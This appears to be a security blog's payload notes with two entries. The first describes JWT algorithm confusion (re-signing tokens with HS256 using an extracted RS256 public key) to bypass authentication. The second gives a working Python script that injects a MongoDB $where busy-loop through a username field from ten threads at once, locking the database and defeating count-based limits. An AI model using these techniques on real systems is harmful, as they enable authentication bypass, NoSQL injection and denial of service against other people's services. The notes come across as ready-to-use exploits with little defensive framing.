JWT Confusion

Sun, 14 Jul 2024 00:00:00 +0900

Refer

Info

This Problem is JWT confusion.

RS256 uses an asymmetric key, a private key for generation, and a public key for verification.

HS256 uses public keys for both token creation and verification. By using the difference between the two, authentication can be bypassed by extracting the public key of RS256 and creating a token with HS256 when verifying both methods.

Key extract : https://github.com/silentsignal/rsa_sign2n/tree/release/standalone

Exploit

After Extract key, you can sign JWT as You Want.

MongoDB Race Condition payload

Tue, 30 Jan 2024 00:00:00 +0900

Information

Target: MongoDB
Vulnerability: Race Condition

Desc

MongoDB Race Condition Attack with db lock.

Example

Code

// admin.controller.ts
@Post('list')
async getFlagList(@Body() listDto: ListDto): Promise<FlagDocument[]> {
	return await this.adminService.getFlagList(listDto.username);
}

Exploit

import threading
import json

# Logic Vulnerability - Database Lock
def lock():
 res = requests.post(f"{url}/admin/list", headers=auth,
 json={"username": '''admin", "$or": [{"dummy": "dummy"},{"$where": "date=new Date();do{cur=new Date();}while(cur-date<5000) + 1 || true"}], "":"'''})
 print(res.text)

threads = []
for i in range(10):
 thread = threading.Thread(target=lock)
 threads.append(thread)
 thread.start()

It takes a long time to count the number of existing documents in the DB, so logic such as number restrictions can be bypassed.

Payload on whguswo

JWT Confusion

Refer

Info

Exploit

MongoDB Race Condition payload

Information

Desc

Example

Code

Exploit